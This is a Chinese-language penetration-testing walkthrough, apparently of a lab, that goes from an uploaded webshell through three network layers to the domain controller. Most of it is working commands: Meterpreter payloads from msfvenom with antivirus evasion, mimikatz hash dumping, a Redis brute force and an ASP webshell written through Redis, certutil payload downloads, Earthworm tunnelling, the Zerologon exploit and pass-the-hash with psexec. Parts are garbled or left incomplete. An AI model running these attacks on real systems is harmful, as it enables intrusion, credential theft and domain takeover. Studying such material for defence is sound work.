现在情况是已经上传了一句话木马,可以执行如:ls、pwd、whoami等命令;不管是python、bash 还是 perl 都反弹不了, 偷不了懒了,就上 msf 吧。
前提:目标在有webshell权限下,利用kali的msf制作木马反弹shell过程。
启动kali中的msf
- ┌──(root@SC)-[~]
- └─# msfconsole
生成exe类型反弹型木马,LHOST=kali 的 ip。
- msf6 > msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.173.4 LPORT=4444 -f exe -o shell.exe
- [*] exec: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.173.4 LPORT=4444 -f exe -o shell.exe
-
- [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
- [-] No arch selected, selecting arch: x86 from the payload
- No encoder specified, outputting raw payload
- Payload size: 354 bytes
- Final size of exe file: 73802 bytes
- Saved as: shell.exe
- msf6 >
将shell.exe木马通过冰蝎连接的webshell上传至目标,在kali的msf中开启监听4444端口。
- msf6 > use exploit/multi/handler
- [*] Using configured payload generic/shell_reverse_tcp
- msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
- payload => windows/meterpreter/reverse_tcp
- msf6 exploit(multi/handler) > set lhost 192.168.173.4
- lhost => 192.168.173.4
- msf6 exploit(multi/handler) > set lport 4444
- lport => 4444
- msf6 exploit(multi/handler) > exploit
-
- [*] Started reverse TCP handler on 192.168.173.4:4444
执行上传至目标的木马,msf监听连接成功创建meterpreter会话。
- msf6 exploit(multi/handler) > exploit
-
- [*] Started reverse TCP handler on 192.168.173.4:4444
- [*] Sending stage (175174 bytes) to 192.168.173.5
- [*] Meterpreter session 1 opened (192.168.173.4:4444 -> 192.168.173.5:50498) at 2021-11-02 17:02:55 +0800
-
- meterpreter >
查看用户权限ip配置信息。
- meterpreter > getuid
- Server username: DESKTOP-E4K5Q89\aaron
- meterpreter > config
- [-] Unknown command: config.
- meterpreter > ipconfig
-
- Interface 1
- ============
- Name : Software Loopback Interface 1
- Hardware MAC : 00:00:00:00:00:00
- MTU : 4294967295
- IPv4 Address : 127.0.0.1
- IPv4 Netmask : 255.0.0.0
- IPv6 Address : ::1
- IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
-
-
- Interface 5
截取目标屏幕,运行记事本。
- meterpreter > screenshot
- Screenshot saved to: /root/CyHNFpoL.jpeg
- meterpreter > execute -f notepad.exe
- Process 736 created.
- meterpreter >
运行目标主机上的cmd.exe程序,并以隐藏的方式直接交互到我们的meterpreter会话上。
- meterpreter > execute -H -i -f cmd.exe
- Process 1872 created.
- Channel 1 created.
- Microsoft Windows [�汾 10.0.19043.1237]
- (c) Microsoft Corporation����������Ȩ����
-
- C:\Users\aaron\Desktop>
1、msf生成shell文件,msfvenom 先生成反弹shell文件,并赋权。
下载shell文件执行,在一句话木马上执行下载命令, wget 和 curl 都可以,一般linux机器上都自带下载工具:
这里要注意,如果文件下载完毕执行文件无法返回流量则需要查看文件下载是否需要下载完成或者存在其他情况。
1、下载失败;
一般来说使用 curl 或 wget 的output参数下载出来如果下载失败,我们需要查看下载的指定文件,如output参数指定 download.file :
一般如果是下载失败会提示解析失败或者其他。
2、路径系统无法找到; 下载命令指定绝对路径即可。
shell流量连接:
执行完就可以看到建建立连接的流量了:
下一步:
在红队攻防中,我们主要在外网进行信息收集,通过cms或者其他漏洞拿到shell,之后通过免杀木马将windows或linux服务器上线到cobalt strike或msf等c2服务器,之后对内网进行信息收集并绘制网络拓扑图,进行工作组或域渗透,拿到各个网段机器的权限,远程登录并截图证明。
环境配置,从虚拟机网络来看。
机器描述:
- 攻击机:win10:192.168.1.6 kali:192.168.1.10
- 第一层:12server-bt:192.168.1.5192.168.59.133
- 第二层:12server-redis:192.168.59.410.10.10.202
- 第三层:12server-ex13:10.10.10.209
- 第三层:12server-dc:10.10.10.201192.168.59.133 存在杀软(火绒), 可通外网, 可访问server-redis192.168.59.4/10.10.10.202 不通外网,可以通内网两个机器,也可以访问到机器server-bt,10.10.10.209 为邮服, 只能内网机器互相访问10.10.10.201 为DC
整体攻击思路:
第一层 server-bt:
蚁剑拿shell
msf免杀拿shell
使用msfvenom生成免杀木马payload,里面的IP和端口自行修改,就是反弹shell的kali。
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.10 lport=6666 -e x86/shikata_ga_nai -i 12 -f raw -o msf.bin
使用分离免杀工具生成loader.exe文件。
对生成的exe文件进行加壳免杀。
免杀效果如下:
免杀之后通过蚁剑上传到server-bt上。
msf 开启监听:
msfconsoleuse exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset LHOST 192.168.1.10set lport 6666run
蚁剑运行:
getuid:
ps:
migrate 476:
msf内网渗透:
load mimikatz # 加载Mimikatz模块。
抓取Hash:
meterpreter > mimikatz_command -f samdump::hashes
hashdump:
然后抓到了 hash:
通过解密得到了 administrator 的密码。
route print # 打印路由信息
对内网进行扫描 arp 存活。
run post/windows/gather/arp_scanner rhosts=192.168.59.0/24
配置路由:
meterpreter > run autoroute -s 192.168.59.0/24
开启远程桌面:
run post/windows/manage/enable_rdp
成功开启了远程桌面,并且生成了一个txt文件,这个txt文件往后可用来关闭远程桌面,关闭命令:
run multi_console_command -r /root/.msf4/loot/xx_default_192.168.1.5_host.windows.cle_xxx5.txt
绕过火绒添加用户,蚂蚁剑或者cs上传添加用户.exe。
运行文件。
帐号:hxxxr 密码:Pxxxxd
远程登录server-bt
权限提升,使用psexec.exe可以提升到system权限。
psexec.exe -accepteula -s -i -d cmd.exe
但是桌面还是之前用户的权限启动的。
为了完全提权,我们可以在system的cmd里面输入taskmgr.exe来启动任务管理器。
在任务管理器里面我们结束掉之前由之前账号开启的桌面进程。
然后再添加一个由system权限下开启的桌面进程。
再点入看现在登入的账号是:
Earthworm穿透,上传EW(Earthworm)到C:/wwwroot/ 。
服务器端执行以下命令:
execute C:\wwwroot\ew.exe -s ssocksd -l 1090
这里还需要修改proxychains.conf配置文件。
$ vim /etc/proxychains.confsocks5 192.168.1.5 1090
探测内网网段存活主机。
proxychains nmap -sT -Pn -p 80 192.168.59.0/24
192.168.59.4是存活的,我们着重看一下,发现开了80和6379。
kali环境进行爆破:
proxychains hydra -P /usr/xxx/password.lst 192.168.59.4 redis 6379
得到Redis口令,连接redis:
proxychains src/redis-cli -h 192.168.59.4 -a 1xxxxx
备份文件写Shell:
- 192.168.59.4:6379>config set dir "C:\\inetpub\\wwwroot" 进入默认目录
- 192.168.59.4:6379>config set dbfilename "redis.asp" 创建文件
- 192.168.59.4:6379>set x "<%eval request(\"chopper\")%>" 写webshell
- 192.168.59.4:6379>save 最后保存
利用过程:
代理蚁剑进行连接这个shell:
成功连接到server-redis:
并查看权限:
利用蚁剑把SweetPotato.exe(甜土豆)上传到C:/Redis/或者C:/ProgramData/目录下:
成功进行提权。
Earthworm穿透,挂代理,通过之前上传的EW(Earthworm)。
服务器端执行以下命令(关掉server-bt的防火墙代理才能生效)
execute C:\wwwroot\ew.exe -s ssocksd -l 1090
这里还需要修改proxychains.conf配置文件
$ vim /etc/proxychains.confsocks5 192.168.1.5 1090
msfvenom -p windows/x64/meterpreter/bind_tcp lport=4444 -f raw -o msf1.bin
用msfvenom生成一个正向马传进去(因为无法访问外网,反向出不来),msf正向连接。
使用分离免杀工具生成loader.exe文件。
改名为msf1.exe,进行加壳免杀。
免杀效果如下:
先把木马通过蚂蚁剑上传到宝塔(需要进行免杀),火绒未告警。
通过redis的shell进行操作,192.168.59.4远程下载192.168.59.133上的马。
C:\ProgramData\xxxx.exe -i -c "certutil -urlcache -split -f http://192.168.59.133/msf1.exe msf1.exe
再通过提权工具进行执行:
C:\ProgramData\xxxx.exe -i -c “msf1.exe”
也可以直接将木马上传到server-redis的C:/Redis/可写目录下就不需要免杀了。
msf通过代理开启监听。
proxychains msfconsoleuse exploit/multi/handlerset payload windows/x64/meterpreter/bind_tcpset RHOST 192.168.59.4set lport 4444run
成功获取服务器的shell,之后就是各种权限维持了。创建计划任务、开机自启等等都能够实现。
PS:
migrate 3992getuidgetsystemgetuid
添加账户和远程连接同第一层。
msf内网渗透
load mimikatz # 加载Mimikatz模块
抓取Hash:
meterpreter > mimikatz_command -f samdump::hashes
hashdump:
得到12SERVER-REDIS账号密码:
route print # 打印路由信息
配置路由:
meterpreter > run autoroute -s 10.10.10.0/24
run autoroute -p
通过蚂蚁剑将nbtscan.exe上传到server-redis的Redis可读写目录下。
探测内网段存活:
nbtscan.exe 10.10.10.0/24
ipconfig /all
10.10.10.0/24段的DNS服务器是10.10.10.201 而在域环境中DNS服务器就是当前使用的域控制器。
添加完路由后可以通过msf访问所有机器,访问域控:
proxychains curl 10.10.10.201
第三层 server-dc
这里已经满足触发zerologon的两个条件,能ping通域控制器,知道域控计算机名,当然最后dump出域内所有hash的时候需要域名。
置空域控机器用户NTLM hash:
proxychains python3 cve-2020-1472-exploit.py 12server-dc$ 10.10.10.201
接下来用置空的机器账户dump所有hash。
(890c这个hash就是"空"的NTML hash)
我们的目标是获得域内administrator的hash,然后就可以hash传递,登陆任意域内机器:
proxychains wmiexec.py -hashes :42e265xxxxxx62387 administrator@10.10.10.201
利用 psexec(PTH)上线server-dc到 MSF:
proxychains msfconsoleuse exploit/windows/smb/psexecset RHOST 10.10.10.201set SMBUser Administratorset SMBPass aad3bxxxxxxxx4ee:42e265xxxxxx962387set SMBDomain xxxxxset payload windows/x64/meterpreter/bind_tcp_rc4set LPORT 4446 run
成功获取到shell。
利用 psexec 上线server-ex13到 MSF:
proxychains msfconsoleuse exploit/windows/smb/psexecset RHOST 10.10.10.209set SMBUser Administratorset SMBPass aad3bxxxxxxxee:42exxxxxxx387set SMBDomain xxxxset payload windows/x64/meterpreter/bind_tcp_rc4set LPORT 4447 run
仅适用于php
仅适用于php